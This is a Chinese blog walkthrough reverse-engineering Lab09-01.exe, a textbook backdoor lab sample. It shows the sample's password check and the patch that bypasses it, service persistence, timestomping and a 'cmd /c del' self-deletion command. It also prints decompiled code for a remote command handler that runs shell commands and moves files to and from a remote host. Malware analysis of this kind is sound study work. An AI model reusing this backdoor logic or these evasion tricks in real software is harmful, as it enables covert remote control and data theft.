0x00 前言
样本地址:https://github.com/0range-x/Virus-sample/blob/master/Chapter_9L/Lab09-01.exe
是书中的一个案例样本,木马加了启动参数,还有启动密码,尝试分析木马的功能和行为
首先crack掉木马的启动密码,根据不同的启动参数分析木马的不同功能,最终建立socket通信。
0x01 大致浏览
按照惯例,先看下导入表,有很多导入函数
OpenSCManagerA:建立与服务控制管理器的连接,并打开指定的服务控制管理器数据库
OpenServiceA: 打开一个已存在的服务
ChangeServiceConfigA:更改服务的配置参数
CloseServiceHandle:关闭指向服务控制管理对象的句柄,也可能是指向服务对象的句柄
CreateServiceA:创建服务对象并将其添加到指定的服务控制管理器数据库
RegDeleteValueA:删除注册表中的键值
RegCreateKeyExA:创建指定的注册表项。如果键已经存在,函数将打开它
RegSetValueExA:设置注册表键值的数据和类型
RegOpenKeyExA:打开指定的注册表项
RegQueryValueExA:检索与开放注册表键关联的指定值名称的类型和数据。与RegOpenKeyExA功能类似
DeleteService:从服务控制管理器数据库中删除的指定服务
.text:0040101B call ds:RegOpenKeyExA
.text:0040103A call ds:RegQueryValueExA
.text:0040104D call ds:CloseHandle
.text:004011A8 call ds:RegCreateKeyExA
.text:004011D5 call ds:RegSetValueExA
.text:004011E6 call ds:CloseHandle
.text:00401233 call ds:RegCreateKeyExA
.text:0040124D call ds:RegDeleteValueA
.text:00401260 call ds:CloseHandle
.text:004012AE call ds:RegOpenKeyExA
.text:004012DD call ds:RegQueryValueExA
.text:004012F9 call ds:CloseHandle
.text:004014FC call ds:CreateFileA
.text:00401525 call ds:GetFileTime
.text:00401560 call ds:CreateFileA
.text:00401579 call ds:SetFileTime
.text:004015C8 call ds:GetSystemDirectoryA
.text:0040165E call ds:WSAStartup
.text:00401676 call ds:gethostbyname
.text:0040168B call ds:WSACleanup
.text:004016A1 call ds:socket
.text:004016B4 call ds:WSACleanup
.text:004016E2 call ds:htons
.text:004016FE call ds:connect
.text:0040170F call ds:closesocket
.text:0040171E call ds:WSACleanup
.text:004017FA call ds:send
.text:004018B8 call ds:CreateFileA
.text:00401906 call ds:ReadFile
.text:00401910 call ds:GetLastError
.text:00401A65 call ds:recv
.text:00401A84 call ds:WriteFile
.text:004020C7 call ds:Sleep
.text:004026CC call ds:OpenSCManagerA
.text:004026FB call ds:OpenServiceA
.text:00402730 call ds:ChangeServiceConfigA
.text:00402741 call ds:CloseServiceHandle
.text:0040285E call ds:ExpandEnvironmentStringsA
.text:00402880 call ds:GetModuleFileNameA
.text:004028A1 call ds:CopyFileA
.text:00402915 call ds:OpenSCManagerA
.text:00402977 call ds:DeleteService
.text:00402988 call ds:CloseServiceHandl
.text:00405683 call ds:HeapReAlloc
.text:00408367 call ebp ; VirtualAllo
.text:00408428 call ds:VirtualFree
.text:0040843F call ds:HeapFree
ok,大概找一下这些函数的位置,为后面做准备
ShellExecuteA: 运行一个外部程序,或者打开一个已注册的文件、打开一个目录、打印文件等等功能,它可以打开电脑内的任何文件,也可以打开URL
下面的函数已经老生常谈了,建立socket通信使用
大概猜测一下,这个程序做了什么呢?创建服务,修改注册表,建立通信,应该是个后门。
0x02 详细分析
前奏
找到main函数
先拖到od里面
emmm?竟然是从403896
开始?再看下调用堆栈,很明显,这里不是程序真正的入口,
直到 403945
处,显示终止,那么回去重新看
在ida中发现它是对main函数的调用
回到od,接着F7,step in -> 单步步入
来到这里,继续F7+F8一步步分析
f7单步进入 403945
这里才是函数的入口
一步步看,F8,step->over,往上看看
前面主要是一些传参,push 字符串入栈
到402AFD
处,对比arg(命令行参数的数量)是否为1,因为我们这里前面并没有指定任何参数,所以这里不跳转,继续执行,并且跳转到401000
处
ok,回到前面402AFD
处继续向下分析
402B08
这里,执行test eax,eax
,检测eax的值是不是0,因为前面 xor eax,eax
后,所以eax是0,这里成功跳转到 402410
因为这个函数比较长,无法完整截图,所以这里贴上代码
.text:00402410 push ebp
.text:00402411 mov ebp, esp
.text:00402413 sub esp, 208h
.text:00402419 push ebx
.text:0040241A push esi
.text:0040241B push edi
.text:0040241C push 104h ; nSize
.text:00402421 lea eax, [ebp+Filename]
.text:00402427 push eax ; lpFilename
.text:00402428 push 0 ; hModule
.text:0040242A call ds:GetModuleFileNameA
.text:00402430 push 104h ; cchBuffer
.text:00402435 lea ecx, [ebp+Filename]
.text:0040243B push ecx ; lpszShortPath
.text:0040243C lea edx, [ebp+Filename]
.text:00402442 push edx ; lpszLongPath
.text:00402443 call ds:GetShortPathNameA
.text:00402449 mov edi, offset aCDel ; "/c del "
.text:0040244E lea edx, [ebp+Parameters]
.text:00402454 or ecx, 0FFFFFFFFh
.text:00402457 xor eax, eax
.text:00402459 repne scasb
.text:0040245B not ecx
.text:0040245D sub edi, ecx
.text:0040245F mov esi, edi
.text:00402461 mov eax, ecx
.text:00402463 mov edi, edx
.text:00402465 shr ecx, 2
.text:00402468 rep movsd
.text:0040246A mov ecx, eax
.text:0040246C and ecx, 3
.text:0040246F rep movsb
.text:00402471 lea edi, [ebp+Filename]
.text:00402477 lea edx, [ebp+Parameters]
.text:0040247D or ecx, 0FFFFFFFFh
.text:00402480 xor eax, eax
.text:00402482 repne scasb
.text:00402484 not ecx
.text:00402486 sub edi, ecx
.text:00402488 mov esi, edi
.text:0040248A mov ebx, ecx
.text:0040248C mov edi, edx
.text:0040248E or ecx, 0FFFFFFFFh
.text:00402491 xor eax, eax
.text:00402493 repne scasb
.text:00402495 add edi, 0FFFFFFFFh
.text:00402498 mov ecx, ebx
.text:0040249A shr ecx, 2
.text:0040249D rep movsd
.text:0040249F mov ecx, ebx
.text:004024A1 and ecx, 3
.text:004024A4 rep movsb
.text:004024A6 mov edi, offset aNul ; " >> NUL"
.text:004024AB lea edx, [ebp+Parameters]
.text:004024B1 or ecx, 0FFFFFFFFh
.text:004024B4 xor eax, eax
.text:004024B6 repne scasb
.text:004024B8 not ecx
.text:004024BA sub edi, ecx
.text:004024BC mov esi, edi
.text:004024BE mov ebx, ecx
.text:004024C0 mov edi, edx
.text:004024C2 or ecx, 0FFFFFFFFh
.text:004024C5 xor eax, eax
.text:004024C7 repne scasb
.text:004024C9 add edi, 0FFFFFFFFh
.text:004024CC mov ecx, ebx
.text:004024CE shr ecx, 2
.text:004024D1 rep movsd
.text:004024D3 mov ecx, ebx
.text:004024D5 and ecx, 3
.text:004024D8 rep movsb
.text:004024DA push 0 ; nShowCmd
.text:004024DC push 0 ; lpDirectory
.text:004024DE lea eax, [ebp+Parameters]
.text:004024E4 push eax ; lpParameters
.text:004024E5 push offset File ; "cmd.exe"
.text:004024EA push 0 ; lpOperation
.text:004024EC push 0 ; hwnd
.text:004024EE call ds:ShellExecuteA
.text:004024F4 push 0 ; Code
.text:004024F6 call _exit
.text:004024F6 sub_402410 endp
看到它调用GetModuleFileNameA
获取当前可执行文件的路径,接着调用GetShortPathNameA
函数获取缩写的全路径字符串,构造完整的字符串即/c del path-to-executable >>NUL
,下面调用ShellExecuteA
函数打开cmd命令行,参数是前面构造的字符串,即从硬盘中删除自己。因为在od中已经打开了该文件,当然是删除失败的。
因为filename
在栈空间,载入内存才直到它是什么。
先找到 ebp
寄存器的地址,再减去208h
但是因为我对od使用不熟悉,ebp没有找到有用的东西。™的在ecx中找到了…,其实也可以对应上,调用GetModuleFilenameA
后,filename
会赋值给ecx
,也算是找到了当前路径。
那就可以结合ida中的字符串,拼接一下cmd.exe /c del c:\Users\adninistrator\Desktop\BinaryCollection\Chapter_9L\Lab09-01-cracked.exe>>NUL
即删除自身
命令行选项 | 地址 | 行为 |
---|---|---|
-in | 0x402600 | 安装服务 |
-re | 0x402900 | 卸载服务 |
-c | 0x401070 | 设置注册表配置键 |
-cc | 0x401280 | 打印注册表配置键 |
在main函数中,不难找到几处对__mbscmp
函数的调用,整理下该函数调用的参数
-in
下一步应该是为了让这个程序能正常运行。这里给程序启动添加个参数,使其正常运行。修改注册表的代码路径应该也是可以的,但是修改注册表属于高危操作,很容易产生意外后果,所以这里先添加启动参数试试,这样就满足了402AFD
的cmp,
添加 -in
参数试试,这里为什么添加 -in
参数,可以跳转到 0x03 命令行分析
处
看到还是会跳到 402410
,尝试删除自己,那说明我们添加的参数没起作用啊
在402B2E
处,最后一个命令行参数被传入到 402510
处,这是最后一个参数,因为C程序的main函数只有两个参数: argc和argv,argc是参数的个数,argv是指向命令行参数的一个指针。EAX包含argc,ECX包含argv。在402B23
处,ecx+eax*4-4
这个指针选择命令行参数数组中的最后一个元素,最后在 eax中,并且在函数调用之前push入栈
接着往下,来到402B2E
处,函数调用 402510
在ida中看看,很奇怪,这里没有函数调用,只有一系列算术操作。add/xor/cmp/
,检查输入得到是否是4个字符,如果是的话,跳转到40252D
处,而这里,又开始和字符‘a’进行比较,顺着往下全面分析的话,可以看出它检验输入的字符是不是 abcd
,很明显,这里做了密码校验。到这里就可以猜测,添加了命令行参数仍然跳转的原因,因为做了密码校验。
f5看下反汇编,这里我就直接贴代码了
BOOL __cdecl sub_402510(int a1)
{
BOOL result; // eax
char v2; // [esp+4h] [ebp-4h]
char v3; // [esp+4h] [ebp-4h]
if ( strlen((const char *)a1) != 4 ) //校验4位长度
return 0;
if ( *(_BYTE *)a1 != 97 ) //a
return 0;
v2 = *(_BYTE *)(a1 + 1) - *(_BYTE *)a1; //b
if ( v2 != 1 )
return 0;
v3 = 99 * v2;
if ( v3 == *(char *)(a1 + 2) ) //c
result = (char)(v3 + 1) == *(char *)(a1 + 3); //d
else
result = 0;
return result;
}
进入402510
调试
可以看到返回值是0,因为密码校验错误嘛,输入的不是 abcd,
这里直接修改寄存器的返回值,
接着看 在调用GetModuleFileNameA
后,接着调用了splitpath
函数来获取当前文件路径
接着往下,alloca_probe
是在栈空间申请内存的函数,sub_4025B0
我们知道是一个截取文件路径的函数,402632
看来是先取一下system32
目录。
继续续调试,进入 4026cc
,来ida中看
调用OpenSCManagerA
,打开一个服务管理器,创建一个服务,并添加进启动项,并且将自己复制到 %SYSTEMROOT%\\system32\\xxx
,即写进system32目录
要想知道启动的什么服务的话,只能在内存中看,这里很明显,启动的服务是自己
接着在下面调用ChangeServiceConfigA
函数,可以看下它的参数。
接着跳着就跳出了main函数,就shutdown了?? 这里注意到,这些函数只是打开并且安装服务,但是并没有创建服务,因为我们没找到CreateServiceA
函数,按理来说创建服务的话,应该都是有这个函数的。
我们看到ida里是有这个函数的。这里在od中没出现是因为,在调试的过程中,step in很多次,已经创建了该服务,所以od没有进入该函数。
在任务管理器中查看,确实是创建并启动了服务
继续看。在40380F
处调用 __mbscmp函数
!
这是一个选择循环结构,根据__mbscmp函数的匹配结果来决定执行语句
4015B0
处的GetSystemDirectory
,这个函数能取得Windows系统目录(System目录)的完整路径名。在这个目录中,包含了所有必要的系统文件。根据微软的标准,其他定制控件和一些共享组件也可放到这个目录。通常应避免在这个目录里创建文件。在网络环境中,往往需要管理员权限才可对这个目录进行写操作。
这个函数主要是用来修改 复制文件、访问和最后变化的时间戳,来与Kernel32.dll
保持一致。这个修改时间戳来和其他文件保持一致的技术叫timestomping
,网上也有打包好的工具,自己写也很简单,可以参考msdn
这里 4011A8
创建注册表项HKLM\SOFTWARE\Microsoft \\xps
,空格是为了让它显示更独特,可以看出是受感染的主机。接着在 4011BE
处,edx寄存器指向 Data缓冲区,用来存储注册表项下 名为Configuration
的键值。但是缓冲区的内容是什么呢?我们在4011BE
处设置断点,然后F9进入执行,查看寄存器EDX的值,就可以看到加载到内存中的字符串。
进入ShellExecuteA
处,删除自身,接着退出程序
-re
传参改为-re继续调试
一步步step in
又是402510
,这里前面已经分析过,是进行密码校验,
go on ,这里有一个402900
,看看
调用了DeleteService
函数,删除指定的服务
可以看出是将自己删除了
继续
后面调用了ExpandEnvironmentStringsA
函数,扩展环境可变字符串,并将其替换为当前用户定义的值,这里就是将该字符串替换为空,
删除自己
接着就结束了,这是re的功能:删除服务并且删除自身文件
-c
这里注意刚刚执行-re的时候已经删除了服务,所以要先执行-in 来安装服务,这里也是找到了前面没发现的CreateServiceA
函数
这里就直接挑关键的分析
一路f7,来到这里就可以确定是目的地了
大概看一看这个函数的功能,发现跳转了4个地址,逐个看看
402cd9
这里应该就是检验输入的字符串是不是-cc,
402ccf
这里判断参数个数是否为7
401070
这里可以看到就是对注册表的操作了
调用RegOpenKeyExA
,尝试打开注册表项 HKLM\SOFTWARE\Microsoft \ \XPS
,
对-c 参数的分析就到这里,可以清楚它的功能是设置注册表项。
-cc
看到它调用的参数,401028
这里。调用RegQueryValueExA
函数,读取配置注册表的键值内容,并且将读取的数值放在缓冲区中,
在od中可以直接查看调用的参数
查询注册表项的配置文件
再来到ida中看细节,单步跟进,这里我浪费了很长时间,一点点看细节没有收获,直接跳到最后看函数返回值
看样子像字符串拼接,和printf类似,跳转到call的地址
f5看下反汇编,看来就是printf输出打印
打印一下试试,果然,不过这些字符串,有域名,其他的看着像端口什么的。
ok,-cc命令的作用就到这里,读取注册表中的项的内容并输出。
无参
又回到了401000
,往下找,跳到 432060
f5看下反汇编,一直在while循环,但是很奇怪,并没有终止条件。
来到401640
,终于建立网络连接了,但是我机器断网的原因,这里返回false
调用send
函数,传入的参数是buf,即之前获取的注册表配置信息
后面还有个recv
函数,用来接收信息,接着做了一个比较,判断长度是否小于0,如果是,跳转到401CAD
中,否则继续执行,跳转到
跳转到401F10
处,调用了strstr
,用来匹配字符串
401E60
处的伪代码,可以结合上面的分析来总结下
int __cdecl sub_401E60(char *a1, int a2)
{
u_short hostshort[2]; // [esp+8h] [ebp-1424h] BYREF
char name[1024]; // [esp+Ch] [ebp-1420h] BYREF
char *v5; // [esp+40Ch] [ebp-1020h]
int v6; // [esp+410h] [ebp-101Ch] BYREF
char *v7; // [esp+414h] [ebp-1018h]
int v8[4]; // [esp+418h] [ebp-1014h] BYREF
char *v9; // [esp+428h] [ebp-1004h]
char Str[4096]; // [esp+42Ch] [ebp-1000h] BYREF
v6 = 4096;
if ( sub_401420(name, 1024) ) //获取并截取注册表
return 1;
if ( sub_401470(hostshort) ) //获取注册表键
return 1;
if ( sub_401D80(v8) ) //延时
return 1;
if ( sub_401AF0(name, hostshort[0], (int)v8, Str, (int)&v6) ) //建立socket通信并recv
return 1;
v9 = strstr(Str, asc_40C090); //匹配字符串
if ( !v9 )
return 1;
v5 = v9;
v9 = strstr(v9, asc_40C088);
if ( !v9 )
return 1;
v7 = v9;
if ( v9 - v5 + 1 > a2 )
return 1;
qmemcpy(a1, &v5[strlen(asc_40C090)], v7 - v5 - strlen(asc_40C090));
a1[v7 - v5 - strlen(asc_40C090)] = 0;
return 0;
}
主要的功能就是用来获取字符串,如果获取成功,进入40204c
,发现了sleep,upload等字样,f5看下伪代码
int __cdecl sub_402020(char *name)
{
char *v2; // eax
char *v3; // eax
char *v4; // eax
u_short hostshort; // [esp+4h] [ebp-424h]
FILE *Stream; // [esp+8h] [ebp-420h]
const char *Command; // [esp+Ch] [ebp-41Ch]
u_short v8; // [esp+10h] [ebp-418h]
char *lpFileName; // [esp+14h] [ebp-414h]
u_short v10; // [esp+18h] [ebp-410h]
char *v11; // [esp+1Ch] [ebp-40Ch]
const char *String; // [esp+20h] [ebp-408h]
int v13; // [esp+24h] [ebp-404h]
char Str1[1024]; // [esp+28h] [ebp-400h] BYREF
if ( sub_401E60(Str1, 1024) )
return 1;
if ( !strncmp(Str1, Str2, strlen(Str2)) )
{
strtok(Str1, Delimiter);
String = strtok(0, Delimiter);
v13 = atoi(String);
Sleep(1000 * v13);
}
else if ( !strncmp(Str1, aUpload, strlen(aUpload)) )
{
strtok(Str1, Delimiter);
v2 = strtok(0, Delimiter);
v10 = atoi(v2);
v11 = strtok(0, Delimiter);
if ( sub_4019E0(name, v10, v11) )
return 1;
}
else if ( !strncmp(Str1, aDownload, strlen(aDownload)) )
{
strtok(Str1, Delimiter);
v3 = strtok(0, Delimiter);
v8 = atoi(v3);
lpFileName = strtok(0, Delimiter);
if ( sub_401870(name, v8, lpFileName) )
return 1;
}
else if ( !strncmp(Str1, aCmd_0, strlen(aCmd_0)) )
{
strtok(Str1, Delimiter);
v4 = strtok(0, Delimiter);
hostshort = atoi(v4);
Command = strtok(0, asc_40C0A4);
Stream = _popen(Command, Mode);
if ( !Stream )
return 1;
if ( sub_401790(name, hostshort, Stream) )
{
_pclose(Stream);
return 1;
}
_pclose(Stream);
}
else
{
strncmp(Str1, aNothing, strlen(aNothing));
}
return 0;
}
几个关键点
命令 | 地址 | 字符串命令格式 | 行为 |
---|---|---|---|
sleep | 402076 | sleep secs | sleep |
upload | 4019e0 | upload port filename | 通过端口port连接远程主机并读取内容,然后在本地创建filename文件 |
download | 401870 | download port filename | 读取文件filename并且通过端口port发送到远程主机 |
cmd | 402268 | cmd port command | 用cmd命令行运行shell命令,通过端口将输出发送到远程主机 |
nothing | 402356 | nothing | 无操作 |
很明显,这里实现了后门的功能。但是还有一点,upload
和download
的功能好像与名称相反emm???还是不要纠结名字了吧。
跳转到401b35
,出现了get请求,http协议,请求http://www.practicalmalwareanalysis.com
的80端口。
另一种crack密码abcd姿势
另一种修改的方法。
先反汇编下指令。直接填充
B8 01 00 00 00 mov eax,0x1
C3 ret
由于call指令准备堆栈,而RET指令负责清理栈,我们可以覆盖密码检查函数的开头指令 402510
处。
编辑下二进制文件,binary,edit。
因为我们想在原来只占1字节的空间写入6个字节的指令,所以这里不选保持大小,
修改成功后
右键复制到可执行文件,全部复制
检查下函数是否被成功禁用,使用命令参数-in重新调试。在402510
处bypass,最后跳转到 402B3F
。六条指令后,指向第一个命令行的参数的指针被push入栈,紧接着指向另外字符串(-in)的一个指针。
将文件保存到磁盘上,在ida中打开这两个不同的文件,对比下
0x03 总结
这个样本大致功能就可以看出,反向连接远程服务器,实现后门。其中几个命令行参数,安装/配置/删除等等,需要首先crack密码“abcd”。在程序运行时,首先将自己复制到 system32
目录,创建服务并自启,然后删除自己。安装后,该程序会读取注册表的配置信息,get请求远程服务,通过socket套接字,建立连接。
反思: 这篇文章到了后面逻辑显得不是那么清晰,看出对od和ida的熟练度有待提高。希望下篇文章可以进步更多。
Peace.